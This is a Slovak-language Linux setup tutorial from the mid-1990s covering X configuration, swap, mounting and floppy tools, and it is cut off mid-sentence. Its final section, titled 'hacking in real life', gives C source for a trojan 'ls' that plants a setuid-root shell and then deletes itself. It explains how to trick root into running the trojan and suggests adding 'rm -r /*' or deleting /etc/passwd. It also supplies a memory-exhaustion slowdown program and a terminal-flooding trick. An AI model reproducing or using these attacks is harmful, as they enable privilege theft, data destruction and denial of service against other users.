Otazku Mouse device: pri beznych mysiach len odklepnite klavesou <Enter>.
System potom chce pre klavesu Alt instalovat pouzitie inych nez standardnych ASCII znakov, odpovedzte n.
Stlacte klavesu <Enter>.
Teraz system pozaduje horizontalnu synchronizacnu frekvenciu Vasho monitora. Pohladajte ju v manuale k monitoru. Ak manual nemate, skusajte postupne jednotlive volby kym sa nedopracujete k rozumnej. Ak manual mate, zvolte poslednu volbu (11) a zadajte horizontalnu synchronizacnu frekvenciu Vasho monitora, napriklad 31.2-47.9.
Naskoci poziadavka na vertikalnu frekvenciu. Opat zvolte vlastnu, ak sa da. Alebo budete musiet opat skusat preddefinovane.
Program Vam teraz zada 3 otazky na meno vasho monitora, vyrobcu atd. Staci ich odklepnut. Nie su podstatne. 3 x teda stlacite klavesu <Enter>.
Potom sa Vas program spyta, ci chcete vidiet databazu videokariet. Odklepnite y. Pohladajte v zozname kartu najblizsiu Vasej grafickej karte. Klavesou <Enter> donekonecna mozete spustat dalsie obrazovky (zacnu sa opakovat, ak narazite na koniec databazy). Ked narazite na tu pravu, zvolte jej cislo. Ak si absolutne neviete rady, zvolte `SVGA generic' alebo `vga generic'. Momentalne je to volba 59. Napiste teda 59 a stlacte klavesu <Enter>.
Teraz davajte pozor, ci Vas program varuje aby ste nedovolili `X -probeonly' vetou "Do NOT probe clocks or use any Clocks line". Alebo ci nevypise nic. Ak mate graficky akcelerator napriklad s cipom S3, jeho casovacie hodiny su programovatelne - neslobodno spustat `X -probeonly'. Ak nemate graficky akcelerator - musite to urobit. Teraz len stlacte klavesu <Enter>.
System Vam ponukne servre, mali by ste zvolit volbu 5. Ak nepojde, zvolte postupne ostatne volby. Pojdu, len ak ste prislusne servre instalovali.
Na otazku, ci system smie nastavit symbolicku linku, odpovedzte y. Aj na dalsiu. Teraz zvolte mnozstvo pamate, ktore ma vasa graficka karta (nie pocitac).
Teraz trikrat odklepnite nepotrebne zadavanie nazvu grafickej karty a jej vyrobcu.
RAMDAC a Clokchip odklepnite <Enter>om, ak je na Vasom napisane autodetect. Inak zvolte prislusne volby.
Na otazku "Do you want me to run 'X -probeonly' now?" odpovieme y, ak nas predtym system pred danou cinnostou nevaroval, inak n (je to to iste ako ked otazku len odklepnete <Enter>om).
Otazku na videomody mozete odklepnut volbou 4.
Otazku "Shall I write it to /etc/XF86Config?" zodpovedzte y. V tomto subore bude ulozena konfiguracia X-Window.
Teraz program xf86config skonci. Skusajte spustit system X-Window prikazom
# startx #Ak sa system X-Window rozbehne, skusajte reakciu mysi. A potom rozlisenia - prepina sa medzi nimi kombinaciou klaves "Ctrl Alt +" resp. "Ctrl Alt -". Ak to aspon trochu ide, subor /etc/XF86Config si uchovajte napriklad prikazom
# cp /etc/XF86Config ~/XF86Config.ciastocne.iduci #a pokusajte sa konfigurovat X-Window znovu.
POZOR ! Zle nakonfigurovany monitor si mozete fyzicky poskodit !
Ak neviete zistit RAMDAC, Clockchips ci dokonca typ grafickej karty, pouzite program SuperProbe.
# SuperProbe First video: Super-VGA Chipset: S3 Trio64 Memory: 2048 Kbytes RAMDAC: Generic 8-bit pseudo-color DAC (with 6-bit wide lookup tables (or in 6-bit mode)) #Program SuperProbe zisti potrebne vlastnosti Vasej grafickej karty. Po spusteni pipne a caka 5 sekund, ci ho neprerusite, pretoze moze zhodit Linux. To je dobre vediet pre hackerov, pretoze SuperProbe moze spustit aj obycajny pouzivatel z ineho terminalu. Kontrolovat sa ale bude konzola a Linux moze zamrznut. Kazdopadne terminal aspon zablika -a to aj v pripade, ze bezi system X-Window.
# dmesg
Console: 16 point font, 400 scans Console: colour VGA+ 80x25, 1 virtual console (max 63) pcibios_init : BIOS32 Service Directory structure at 0x000fb6f0 pcibios_init : BIOS32 Service Directory entry at 0xfbb00 pcibios_init : PCI BIOS revision 2.00 entry at 0xfbb30 Probing PCI hardware. Calibrating delay loop.. ok - 59.80 BogoMIPS Memory: 23044k/24576k available (560k kernel code, 384k reserved, 588k data) This processor honours the WP bit even when in supervisor mode. Good. Swansea University Computer Society NET3.035 for Linux 2.0 NET3: Unix domain sockets 0.12 for Linux NET3.035. Swansea University Computer Society TCP/IP for NET3.034 IP Protocols: ICMP, UDP, TCP VFS: Diskquotas version dquot_5.6.0 initialized Checking 386/387 coupling... Ok, fpu using exception 16 error reporting. Checking 'hlt' instruction... Ok. Linux version 2.0.0 (root@microsoft) (gcc version 2.7.2) #11 Fri Jan 10 02:05:17 MET 1997 Serial driver version 4.13 with no serial options enabled tty00 at 0x03f8 (irq = 4) is a 16550A tty01 at 0x02f8 (irq = 3) is a 16550A lp1 at 0x0378, (polling) APM BIOS version 1.1 Flags 0x07 (Driver version 1.2) Entry f000:803c cseg16 f000 dseg fdfc cseg len ff63, dseg len a0 Connection version 1.1 AC on line, battery status unknown, battery life unknown battery flag 0x00, battery life 0 seconds hda: WDC AC2850F, 814MB w/64kB Cache, LBA, CHS=827/32/63 hdb: non-IDE drive, CHS=0/0/0 hdb: INVALID GEOMETRY: 0 PHYSICAL HEADS? ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 Floppy drive(s): fd0 is 1.44M Started kswapd v 1.4.2.2 FDC 0 is an 8272A Partition check: hda: hda1 hda2 hda3 VFS: Mounted root (ext2 filesystem) readonly. Adding Swap: 32252k swap-space #
# fdiskTento program umoznuje mazat a vytvarat jednotlive particie, resp. priradovat ich jednotlivym operacnym systemom. Blizsie vid predoslu kapitolu a prikaz
# man fdiskPokial sme vyrobili swapovaciu particiu, musime jej programom fdisk pridelit znacku c. 82 - Linux swap. Potom napiseme
# mkswap -c /dev/hdaNkde N je cislo swapovacej particie (nepovinny parameter -c skontroluje bezchybovost jej povrchu). Aktivovat ju (a rozsirit tak nasu virtualnu pamat) mozeme prikazom
# swapon /dev/hdaNNaopak, jej deaktivaciu mozeme vykonat prikazom
# swapoff /dev/hdaNPrikazy "swapon -a" a "swapoff -a" aktivuju, resp. deaktivuju vsetky swapovacie particie a swapovacie subory zapisane v subore /etc/fstab. System po spusteni automaticky aktivuje (prikazom swapon -a v subore /etc/rc.d/rc.S) vsetky swapovacie particie a swapovacie subory uvedene v subore /etc/fstab a pred rebootom ich deaktivuje. Je preto rozumne do suboru /etc/fstabnovu particiu zaradit - za posledny riadok s typom swap pridat riadok
/dev/hdaN swap swap defaults 1 1pre swapovaciu particiu /dev/hdaN. Pozor, omyl moze byt nebezpecny, pretoze system Vam moze premazat nejaky iny disk. Aj ked by mal odmietnut swapovat na disk (particiu) nepripraveny prikazom mkswap, naco riskovat.
Pokial chceme vytvorit swapovaci subor, mozeme ho urobit hocijakym sposobom. Najjednoduchsie je napisat:
# dd if=/dev/zero bs=1024k count=8 of=/swapsubor 8+0 records in 8+0 records out #Prikaz dd vytvori subor /swapsuboro dlzke count MB v hlavnom adresari. V nasom priklade je velkost swapovacieho suboru 8 MB. Aplikujme nanho prikaz mkswap
# mkswap /swapsubor Setting up swapspace, size = 8384512 bytes #Pamatajte na to, ze swapovacia particia resp. swapovaci subor moze mat maximalne 128 MB. Ak potrebujete este vacsi swapovaci priestor, mozete vyrobit viac swapovacich particii alebo swapovacich suborov. Vo verziach Linuxu spred roku 1995 mohla mat swapovacia particia maximalne 16 MB a mohlo ich byt maximalne 8. To davalo dohromady 128 MB swap. V novsich verziach Linuxu moze mat swapovacia particia alebo swapovaci subor az 128 MB, cize smiete mat spolu 1 GB swap. Ak potrebujete OBROVSKY swap subor a mate 2 disky - jeden 850 MB a druhy 2.5 GB. Oplati sa Vam pouzit 850 MB disk len na swapovanie ? Tazko povedat. Myslim, ze vhodnejsie by bolo pouzit na swapovanie cast 2.5 GB disku, pretoze bude urcite rychlejsi ako 850, co je pri swapovani dost dolezite. Na druhej strane sa samozrejme intenzivne pracujuci disk skor opotrebuje. V skutocnosti sa vsak opotrebovania diskov bat nemusime. Doba ich zivotnosti je taka dlha, ze k ich poruche vacsinou (ak vobec) dojde az v dobe, ked ich kapacita v porovnani so za rovnaku cenu predavanymi diskami bude smiesne mala - a aj tak ich budeme chciet nahradit novymi. Aj ked stale plati Murphyho zakon: Ked sa nieco moze pokazit, tak sa to aj pokazi...
Aktivujme nasu particiu (najprv ulozme buffre)
# sync # swapon /swapsubor #Opat do tabulky /etc/fstab zapiseme riadok podobny riadku pre swapovacie particie. Musime ho zapisat ZA vsetky swap riadky. Ak prva swapovacia particia systemu nestaci, pouzije druhu atd. Zaradenim swap suboru, praca s ktorym je omnoho pomalsia ako s particiou, na posledne miesto zabranime zbytocnemu spomaleniu systemu. Okrem toho swapovaci subor musi byt zaradeny az za popis particie, na ktorej lezi (system by ho nenasiel, ak by particia, na ktorej sa swapovaci subor nachadza, nebola primountovana). Riadok bude teda vyzerat takto
/swapsubor swap swap defaults 1 1
DOSovsky disk mozeme namountovat do prazdneho adresara napriklad /dos takto (adresar /dosd a particia /dev/hda2 su len priklady)
# mount -t msdos /dev/hda2 /dosunmountnut ho mozeme prikazom
# sync # umount /dev/hda2Ak chceme obist DOSovske orezavanie nazvov suborov ( MS-DOS povoluje len 8 znakov v mene suboru, bodku a za nou maximalne 3 znaky - hovorime tomu system 8+3 ), musime DOSovsky disk primountovat ako typ UMSDOS.
# mount -t umsdos /dev/hda2 /dosKed teraz chceme zapisovat subory s dlhymi nazvami suborov na tento disk, musime ho na to pripravit prikazom umssync
# umssync /dosPozor ! Prikaz umssync vytvori v kazdom podadresari subor ---linux.--- a v nom udrzuje potrebne informacie. Subor s takymto nazvom preto v Linuxe nebude pouzitelny. UMSDOS je mozne pouzit aj len na cast disku - napriklad
# mkdir /dos/linux # umssync /dos/linuxA do adresara /dos/linux a vsetkych jeho podadresarov mozeme zapisovat dlhe nazvy suborov, ktore bude Linux schopny pouzivat.
Unmountovat ho mozeme opat prikazom
# unmount /dev/hda2Pre uplnost uvedme, ze Linuxacka particia sa primountuje prikazom
# mount -t ext2 /dev/hda2 /dosdo prazdneho adresara /dos. Lepsie by vsak bolo dat mu nazov /linux alebo /linux1, /linuxparticia - fantazii sa medze nekladu.
Unmountuje sa rovnako ako predosle
# umount /dev/hda2Ked chceme, aby sa particie mountovali automaticky, musime ich umiestnit do suboru /etc/fstab. Nech /dev/hda1 je root particia (na nej musia byt fyzicky umiestnene adresare /bin, /dev a /etc), nech je /dev/hda5 druha linuxacka particia, /dev/hda6 nech je MS-DOS particia a /dev/hda7 nech je MS-DOS particia umoznujuca dlhe nazvy suborov (typ umsdos). V /etc/fstab budu okrem inych aj nasledujuce riadky
/dev/hda1 / ext2 defaults 1 1 /dev/hda5 /linux ext2 defaults 1 1 /dev/hda6 /dosc msdos defaults 1 1 /dev/hda7 /dosd umsdos defaults 1 1Pozor, Linux nerobi umssync automaticky po spusteni na umsdos particie, bud to vzdy po spusteni systemu urobte ako root alebo prikaz umssync dajte do jedneho z inicializacnych suborov. Presne to som urobil aj ja. Prikaz umssync som umiestnil do suboru /etc/rc.d/rc.local takto
echo "Obnovujem /dosd/linux prikazom: /sbin/umssync /dosd/linux" /sbin/umssync /dosd/linuxa nemal som s tym doteraz ziadne problemy. Particiu /dosd zdielam zo systemom Windows '95, preto nerobim umssync na cely disk /dosd ale len na podadresar /dosd/linux. Windows '95 totiz pouziva iny princip na uchovanie dlhych nazvov suborov a nie je vhodne mu nic do adresarov obsahujucich dlhe nazvy suborov zapisovat.
/dev/hda6 /dosc vfat defaults 1 1Zial, ani msdos ani vfat Vam neumoznia uchovavat ine informacie o suboroch, ako dokaze MICROSOFT DOS resp. MICROSOFT WINDOWS '95. Suborovy system vfat Vam sice umozni zdielat dlhe nazvy suborov, nemozete vsak uchovavat PRISTUPOVE PRAVA a dalsie informacie bezne pre Linux. Na toto je urceny system suborov umsdos.
# fdformat /dev/fd0 Double-sided, 80 tracks, 18 sec/track. Total capacity 1440 kB. Formatting ... done Verifying ... done #Subor /dev/fd0 je linka ukazujuca na subor /dev/fd0h1440, co je ovladac 1,44 MB diskety. V pripade, ze mechanika pod MS-DOSom znama ako A: ma inu kapacitu, usetrime si starosti s nou, ak budeme pouzivat /dev/fd0. Ak by vsak nejake problemy nastali, vzdy je mozne pouzit presnu specifikaciu. Stare systemy pouzivali namiesto /dev/fd0h1440 oznacenie /dev/fd0H1440. Je preto naozaj rozumnejsie na oznacenie diskety pouzivat linku/dev/fd0.
DOSovsky system suborov nahodime na naformatovanu disketu prikazom
# mkdosfs -c /dev/fd0 mkdosfs 0.2, 18th February 1994 for MS-DOS FS #a Linuxovsky system suborov (second extended file system) prikazom
# mke2fs -c /dev/fd0 mke2fs 0.5b, 14-Feb-95 for EXT2 FS 0.5a, 95/03/19 360 inodes, 1440 blocks 72 blocks (5.00%) reserved for the super user First data block=1 Block size=1024 (log=0) Fragment size=1024 (log=0) 1 block group 8192 blocks per group, 8192 fragments per group 360 inodes per group Checking for bad blocks (read-only test): done Writing inode tables: done Writing superblocks and filesystem accounting information: done #Vsimnite si, ze disketa bude naformatovana na mensiu kapacitu, nez je tomu pre MS-DOS format (5 % bude zbytocne rezervovanych pre pouzivatelsku identifikaciu root).
# adduser Adding a new user. The username should not exceed 8 characters in length, or you may run into problems later. >>> Tu je vystraha, ze login nesmie mat viac ako 8 znakov. DODRZTE TO ! <<< Enter login name for new account (^C to quit): ducai Editing information for new user [ducai] Full Name: Marek Ducai GID [100]: Group 'users', GID 100 First unused uid is 504 UID [504]: Home Directory [/home/ducai]: Shell [/bin/bash]: Password [ducai]: Information for new user [ducai]: Home directory: [/home/ducai] Shell: [/bin/bash] uid: [504] gid: [100] Is this correct? [y/N]: y Adding login [ducai] and making directory [/home/ducai] Adding the files from the /etc/skel directory: ./.kermrc -> /home/ducai/./.kermrc ./.less -> /home/ducai/./.less ./.lessrc -> /home/ducai/./.lessrc ./.term -> /home/ducai/./.term ./.term/termrc -> /home/ducai/./.term/termrc #Ak ste si proceduru pridavania pouzivatela dobre pozreli, vidite, ze system v hranatych zatvorkach ponuka moznosti, ktore staci len odklepnut (=potvrdit stlacenim klavesu <ENTER>). Na zaciatku treba zadat login a potom meno a priezvisko. Na koniec odpovieme y (Yes = ano). Login noveho pouzivatela je vhodne pridat aj do /etc/group. Nie je to nevyhnutne.
Vlozte disketu do mechaniky A: (/dev/fd0). Prikazom mdir zistite jej obsah. Ak potrebujete preniest subor subor.txt do Linuxu napiste
# mread -t subor.txt linuxacky_suborik_s_dlhym_nazvom.txta ak ho chcete preniest do MS-DOSu, napiste
# mwrite -t linuxacky_suborik_s_dlhym_nazvom subor.txtPrepinac -t zabezpeci potrebne konverzie.
Programy mread a mwrite su podporovane len pre spatnu kompatibilitu. Lepsie je pracovat takto:
# mdir Volume in drive A has no label Volume Serial Number is 188D-7693 Directory for A:/ textik 303820 09-12-1995 9:35a 1 file(s) 303 820 bytes 1 153 536 bytes free #Prikaz mdir vypise obsah default diskety ( a: ). Syntax prikazu povoluje pouzivat dosovske oznacenie diskiet
# mdir b: floppy1: perpendicular mode not supported by this FDC.Ja nemam disketu b:. System na pokus o pristup na neexistujucu disketovu mechaniku reagoval chybovou hlaskou. FDC = floppy drive controller (specialny mikroprocesor obsluhujuci disketove mechaniky). Uz som si myslel, ze sa musim prepnut na inu virtualnu konzolu, prihlasit sa ako root a program mdir zrusit prikazom kill (teda ho killnut). Asi po minute vsak system vypisal
init: set default params Cannot initialize 'B:' #a vratil mi prompt. To je dolezite o Linuxe vediet. Aj ked sa zda, ze program, ci samotny Linux "zamrzol", t.j. "stuhol" - zacal sa spravat nekorektne ci dokonca prestal na Vas vstup reagovat, treba mu dopriat trochu casu. Vacsinou sa spamata a dalej bude pracovat normalne.
Ale vratme sa k problemu. Na systemoch, ktore maju druhu disketovu mechaniku, prikaz mdir b: vypise jej obsah.
Pre skonvertovanie textoveho suboru vo formate, aky pouziva MS-DOS na Linuxacky format a naopak je mozne pouzit prikaz mcopy. Tento prikaz zaroven kopiruje aj konvertuje. Priklad:
# mcopy -t a:/textik skonvertovany_textik.txt #nam skopiruje z diskety a: (vid nizsie) subor textik do aktualneho adresara a da mu nazov skonvertovany_textik.txt. Prepinac -t sposobi konverziu CRLF/LF. [CR = carridge return (navrat vozika) a LF = line feed (novy riadok)]. Prikaz mdir sa snazi byt kompatibilny s Linuxom, ale pouziva hlavne notaciu (resp. syntax = sposob zapisu prikazov) MS-DOSu, ktory prvu disketovu mechaniku oznacuje a:, druhu b:, pevne disky c:, d: atd.
Ak chceme zachovat povodny nazov, mozeme pisat
# mcopy -t a:/textik .ci dokonca
# mcopy -t a:/textikA budem mat skonvertovany subor textik u seba. Ak chceme prekopirovat vsetky subory z diskety, mozeme skusit prikaz
# mcopy -t a:/* #A konverzia je rychla. Zial, kopirovat a zaroven konvertovat z diskovej particie je tazsie:
# mcopy -t c:/* Can't open /dev/sda1: No such device Cannot initialize 'C:' mcopy: File "c:*" not found #Program je teda defaultovo nastaveny tak, ze ako disk c: ocakava SCSI disk. Asi si tvorca softwareu neuvedomil, ze viac nez 80 % strojov pouziva radic IDE a nie SCSI. Prikaz mcopy na disk c: funguje aj pre radic typu IDE, ak v subore /etc/mtools.conf okomentujeme riadok pre scsi disk a odkomentujeme riadok pre IDE disk. Ako paramteter je potrebne uviest spravnu particiu.
Samozrejme sa da kopirovat aj z Linuxackeho disku na MS-DOS formatovanu disketu:
# mcopy -t skonvertovany_textik.txt a:/textik.txt #Este niekolko poznamok:
O celu zalezitost sa na nenamountovanej diskete s DOS FAT suborovym systemom stara programovy balik mtools. Vsimli ste si, ze vsetky jeho prikazy zacinaju pismenom m ? Disketu je mozne normalne namountovat napriklad do adresara /diskc a pracovat s nou. Len ak chcete pouzit konverziu prikazmi mread / mwrite ci mcopy (mread a mwrite sa v skutocnosti tak ci tak obracaju na prikaz ), potrebujete mat nainstalovany programovy balik mtools. Mozete nim dokonca na diskete vytvarat adresare
# mmd zaloha #a pohybovat sa po nich
# mcd zaloha #ci vypisat si "cestu" (aktualny adresar na diskete)
# mcd A:/ZALOHA #Prikaz cd bez argumentov totiz v MS-DOSe nahradza funkciu UNIXovskeho prikazu pwd. U nas - to jest v UNIXe - prikaz cd bez argumentov prepne aktualny adresar do domovskeho. V DOSe neexistuje ochrana suborov a kazdy moze na disku mazat co chce. DOS nevie, kto pod nim pracuje. Nevie ho teda hodit do domovskeho adresara. V DOSe neexistuju domovske adresare. Preto je v DOSe mozne pouzit prikaz cd namiesto pwd.
Pozor, disk nesmie byt do systemu suborov namountovany ! Este poznamka k nazvom diskov. MS-DOS prvu mechaniku vola a:, Linux ju nazyva /dev/fd0HCCCC, kde H je jej typ (H=h pre double-sided high-density) a CCCC je jej kapacita v KB. Teda ak mate prvu mechaniku 1.44 MB 31/2'' a druhu 1.2 MB 51/4'', MS-DOS ich v uvedenom poradi oznacuje ako A: a B: (a pouzivatel pocitaca dokonca nemusi nic o kapacitach diskov vediet). Zial, Linuxu musite (aspon v doterajsich verziach) povedat, ze prva je /dev/fd0h1440 a druha je /dev/fd1h1200. Ak Vam to ide na nervy, mozete pouzit /dev/fd0 a /dev/fd1 a Linux sa sam pokusi urcit kapacitu a format diskety. Vo vacsine pripadov to funguje bez problemov.
Ak chcete, aby na disketu mohli pristupovat aj ini pouzivatelia, povolte pristupove prava pre /dev/fd0 na Read-Write pre vsetkych. Programovy balik mtools je mozne nakonfigurovat tak, aby mohol na disketu pristupovat kazdy aj bez povolenia pristupovych prav.
Skontrolovat nenamountovanu particiu sa da prikazom fsck particia. Ak je chybna, program fsck Vam povie, ze ju mozte obnovit napriklad prikazom e2fsck -b 8193 particia. Ukazme si to na diskete naformatovanej na MS-DOS format (MS-DOS suborovy system sa ochranuje inak - z MS-DOSU prikazom chkdsk - originalny program fsck by disketu s MS-DOS formatom povazoval za poskodenu Linuxacku disketu ).
Kedy mozno poskodit disk ? Napriklad ak root chybne presmeruje vystup z programu priamo na disk nariklad prikazom cat <subor >/dev/hda1, premaze zaciatok particie 1. Ak je to Linuxacky disk, Linux aspon cast z neho dokaze obnovit ! Robi si totiz zalohy superbloku kazdych 8192 alokacnych blokov na disku. Spravme teda pokus
# mkdosfs -c /dev/fd0 "oklameme" Linuxacky fsck mkdosfs 0.2, 18th February 1994 for MS-DOS FS vytvorili sme MS-DOS format # fsck /dev/fd0 fsck si mysli, ze ide o poskodenu Linux disketu, Parallelizing fsck version 0.5b (14-Feb-95) lebo nenasiel superblok e2fsck 0.5b, 14-Feb-95 for EXT2 FS 0.5a, 95/03/19 fsck.ext2: Bad magic number in super-block while trying to open /dev/fd0H1440 The filesystem superblock is corrupt. Try running e2fsck with an alternate superblock using the -b option. (8193 is commonly an alternate superblock; Hence, 'e2fsck -b 8193 <device>' may recover the filesystem.) #Linux nikdy nesmiete vypnut tlacidlom vypinaca pocitaca, vytiahnutim kabelu zo zasuvky alebo tlacidlom <reset>. Linux Slakware ci Debian mozete vypnut stlacenim kombinacie klaves Ctrl-Alt-Del. Pockajte potom na vypis biosu - grefickej karty, az tak vypnite pocitac. Alebo ho vypnite napisanim prikazu
# /sbin/haltPotom pockajte na hlasenie halting the system. V mnohych pripadoch chvilu po nej nasleduje hlasenie biosu System halted. Az potom pocitac vypnite.
Oficialny sposob vypnutia pocitaca je prihlasit sa ako root a napisat
# /sbin/shutdown -r now #V skutocnosti toto na vacsine systemov robi kombinacia klaves Ctrl-Alt-Del. V novych verziach Linuxu ho mozete vypnut prikazom
# /sbin/telinit 6 #Ak system bezi v rezime "len X-window", kombinacia klaves Ctrl-Alt-Del nemusi fungovat. Ak ho chcete pouzit, musite sa prepnut na textovu virtualnu konzolu a uvedenu kombinaciu klaves stlacit tam Inak mozete pouzit lubovolnu z uvedenych styroch moznosti. Samozrejme, najjednoduchsie je pouzit kombinaciu klaves Ctrl-Alt-Del (plati pre vacsinu distribucii Linuxu).
Nazov svojej organizacie napiste do suboru /etc/organization. Do suboru /etc/resolv.conf napiste slovo domain nasledovane nazvom vasej domeny, napriklad ak mam adresu milan.schmotze.kvpke.sk, do /etc/resolv.conf dam domain schmotze.kvpke.sk.
# cd /usr/src/linux # make menuconfig ; sync ; make dep ; make clean ; make zImage ; \ > make modules ; make modules_install ; \ > cp /usr/src/linux/arch/i386/boot/zImage /dosc/loadlin ; \ > sync ; shutdown -r now ; exitV uvedenom priklade sa najprv prepneme do adresara /usr/src/linux.V nom je najdolezitejsi subor README obsahujuci popis kompilacie jadra. Dalsie dva riadky zabezpecia kompilaciu jadra operacneho systemu Linux. Pri samotnej kompilacii je potrebne stravit urcity cas nad konfiguraciou jadra (prikaz make menuconfig). Treti riadok skopiruje skompresovane jadro (s nazvom zImage) do adresara /dosc/loadlin. (V adresari /dosc mam primountovany moj dosovsky disk.) Stvrty riadok rebootne operacny system.
Nebojte sa experimentovat. Chcete nainstalovat siete ? Skusajte prikazy 'man ifconfig' ci 'man route'. Dozviete sa tam veci (man = manual = prirucka ), ktore Vas usmernia na dalsie potrebne dokumenty a prikazy.
Zapamatajte si: Nech uz by bol problem akokolvek velky, vzdy existuje riesenie. Ak uz si naozaj s niecim neviete rady, prestante na chvilu pracovat a 'vypnite' - poprechadzajte sa, zjedzte cosi dietneho, pospite si - a vratte sa k problemu. Ak sa Vam ani tak nedari ani po prestudovani dostupnej literatury problem vyriesit - vyhladajte experta v danej oblasti docasne lepsieho ako ste v danej chvili Vy. Cim viac sa vsak naucite urobit sami, tym lepsi expert sa z Vas stane. Naucite sa citit dany obor (v nasom pripade Linux), vzit sa donho a chapat ho. Jeden profesor svojim ziakom pripominal, ze vtedy budu expertmi na matematiku, ak sa im bude o cislach aj snivat. A ak sa pri holeni porezu, z rany im nepotecie krv, ale cisla!
Mimochodom, v novych verziach jadra Linuxu je mozne pouzivat moduly. To znamena, ze nie je potrebne drzat v jadre vsetky ovladace, ale len momentalne pouzivane. Ostatne moze v pripade potreby nahrat administrator (co je na velkych systemoch prakticky nepouzitelne, pretoze vyzaduje PRITOMNOST administratora) alebo ich moze nahrat v pripade potreby daemon (tusim kerneld). Ak mate zaujem pohrat sa s modulmi (oplati sa na systemoch neoplyvajucich velkou pamatou), pozrite si subor /usr/src/linux/Documentation/modules.txt.
Mnoho prijemnych zazitkov s najlepsim operacnym systemom na svete Vam zela
autor
============================================================================ /* Milan Schmotzer PRESENTS HACKING IN REAL LIFE PART ONE AKO PREVZIAT PRAVA ROOTOVI ~~~~~~~~~~~~~~~~~~~~~~~~~~ V UNIXe sa veci maju takto: Je superuzivatel ( root ) a ten moze vsetko. A su obycajni tajtrlici ( rozumej (po)uzivatelia ), ktori nemozu nic, len sa hrat v svojom podadresari. Vsetko by bolo OK, lenze tajtrlici nemozu zapisovat nic nikam. Citat mozu takmer vsetko, samozrejme. Ako si potom mozem zmenit heslo prikazom passwd, ked to vyzaduje zapis do suboru /etc/passwd a ja mam pravo piplat sa len v adresari /home/milan ? Ha ! S tymto mali unixaci problemiky. Ale vyriesili to po svojom. Jednoducho umoznili tzv. prepozicanie prav. To jest namiesto -rwx-w--w- pri vypise ls -la uvidite -rwx-s--s- kde sice vlastnikom suboru je root, ale prepozicia prava na zapis aj obycajnym smrtelnikom. Prave toto vyuziva nasledujuci program: */ /* Vytvorte nasledujuci subor ls.c */ void main(void) { seteuid(0); /* Bez toho by tento program mal len prava obycajneho usera. */ setegid(0); /* 1. riadok meni vlastnika na roota, tento riadok skupinu. */ /* Po tomto prikaze teda program moze vsetko ( ak ho spustil root ). */ system("/bin/cp /bin/sh mismo"); /* (3) */ system("/bin/chmod 6755 mismo"); /* (4) */ system("/bin/rm -r ls"); /* (5) */ system("/bin/ls"); /* (6) */ } /* Tento zdrojak ( ak sa vola ls.c ) prekompilujete prikazom make ls a vznikne vykonatelny subor ls ( ak vznikol a.out, premenujte ho na ls ). Nesmiete mat u seba subor s nazvom mismo ! Inak sa nemusi podarit jeho vytvorenie ( odskusane ). Ked teda root bude prezerat Vas adresar a napise ls, spusti namiesto programu /bin/ls Vas program ls vo Vasom podadresari a ten najprv skopiruje shell do suboru mismo, (3) potom mu zmeni atributy na prepozicanie prav, (4) potom sa sam zmaze (5) a potom spusti "pravy" prikaz /bin/ls (6). Odteraz ked napisete mismo, budete mat prava roota. Mozte pridavat pouzivatelov, citat cudziu postu ( neprijemne ! ) alebo aj preformatovat disk ( moja najoblubenejsia cinnost ). Mimochodom - ls je nutne zmazat, inak by nas hned odhalili... ( U nas to robi bod (5) ) ------------------------------------------------------------------ Co moze na svoju obranu urobit root ? 1. Nepisat ls, ale zasadne /bin/ls 2. Ak ma mc ( Midnight Commander - podobny ako Norton Commander ), (pod)adresare prezerat zasadne s nim. U nas je na hrone aj na neurone a urcite aj inde. 3. Na neurone ani na ostatnych linuxoch root nemusi robit vobec nic, lebo standardne je cesta nastavena tak, ze sa najprv spustaju subory v standardnych (pod)adrearoch, az potom z aktualneho - prikaz ls teda bude vzdy spusteny z adresara /bin Root by musel napisat ./ls ak by chcel spustit Vas subor, a to by asi neurobil... ---------------------------------------------------------------------- Co na to cracker ? Vyrobit pascu na principe trojskeho kona. Trojsky kon je program, ktory si nedockavy root vezme k sebe a tam spusti. Cracker musi postupovat inak - musi dat programu nejaky pekny nazov a nechat roota nech "skusi" co to robi... M.P. pred asi dvoma rokmi pouzil takuto fintu: Kazdemu poslal mail: "Spusti u mna subor mikulas a privita Ta mikulas." A vsetci idioti ( root prvy ) to urobili - M. nechal svoj adresar otvoreny. Zdrojak mohol byt podobny tomu, co som Vam napisal, len vyhodil riadky (5) a (6) a doplnil tam mikulasove srandicky typu printf(" WOW, WOW, WOW ! Satan Claus is comming..."); M. ale neurobil vobec NIC ( len jednu neskodnu vec ), len bol zvedavy, ci to funguje. FUNGUJE ! A ESTE POZNAMOCKA: Je mozne robit aj ine finty, napriklad dopisat system("rm /etc/passwd"); a teda ked root spusti vas programik, znemozni prihlasenie vsetkym pouzivatelom aj sebe... Ti skodoradostnejsi asi napisu system("rm -r /*"); A vsetky disky budu zivat prazdotou... Nezabudnite, ze Unix ma len jeden hlavny adresar - a ako podadresare su v nom vsetky disky. Jeho vymazanim teda vymazeme vsetko, co je v danej chvili primountovane. Pozor na vec, ak si root predtym primontoval disk INEHO pocitaca, zazijeme kopu sprav typu rm: Cannot remove file klavir.dat. Acces denied. rm: Cannot remove file video. Acces denied. rm: Cannot remove file ftp/ls/dos/command.com. Acces denied. rm: Cannot remove file pub/linux/slakware/roots144/color.gz. Acces denied. a sme prezradeni !!! Niektore zo sprav zazijeme aj tak ( u suborov aktualne pouzivanych systemom ). Co s tym ? Presmerovat vystup aj chybovy vystup na zariadenie /dev/null, co je ako v MS-DOSe NUL. */ ============================================================================ ============================================================================ /* Spomalenie LINUXoveho systemu. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright (C) 1996 by Milan Schmotzer Ak tento program zaalokuje viac pamate, ako je na systeme spolu so swapom k dispozicii, system nebude realne pouzitelny. Napriklad reakcia na stlacenie klavesu moze trvat aj 10 minut. Vyrazne spomalit system sa nam vsak podari aj ked alokujeme prave tolko pamate, kolko ma realna RAM. Aktualne program alokuje 1000*10000=10 000 000 bytes RAM. Pomaha tu Control-C resp. Control-Break. */ #define MAXI 10000 #define MAXJ 1000 void main(void) { int i,j; char ja[MAXI][MAXJ]; for(;;) /* Nekonecna slucka :-) */ for(i=0;i<MAXI;i++) for(j=0;j<MAXJ;j++) ja[i][j]=i*j%256; } =========================================================================== Dalej uz neuvadzam kompilovatelne subory. =========================================================================== FLUSHING Flushing je stara metoda na "zahltenie" cudzieho terminalu. Urcite si pamatate, ze program write napise spravu cudziemu pouzivatelovi. V spojeni s programom cat je naozaj silny. Prikaz $ cat subor.txt | write Csonto zaplavi obrazovku pouzivatela s pouzivatelskou identifikaciou Csonto obsahom suboru subor.txt. Samozrejme, cim je subor subor.txt vacsi, tym lepsie. Mozeme 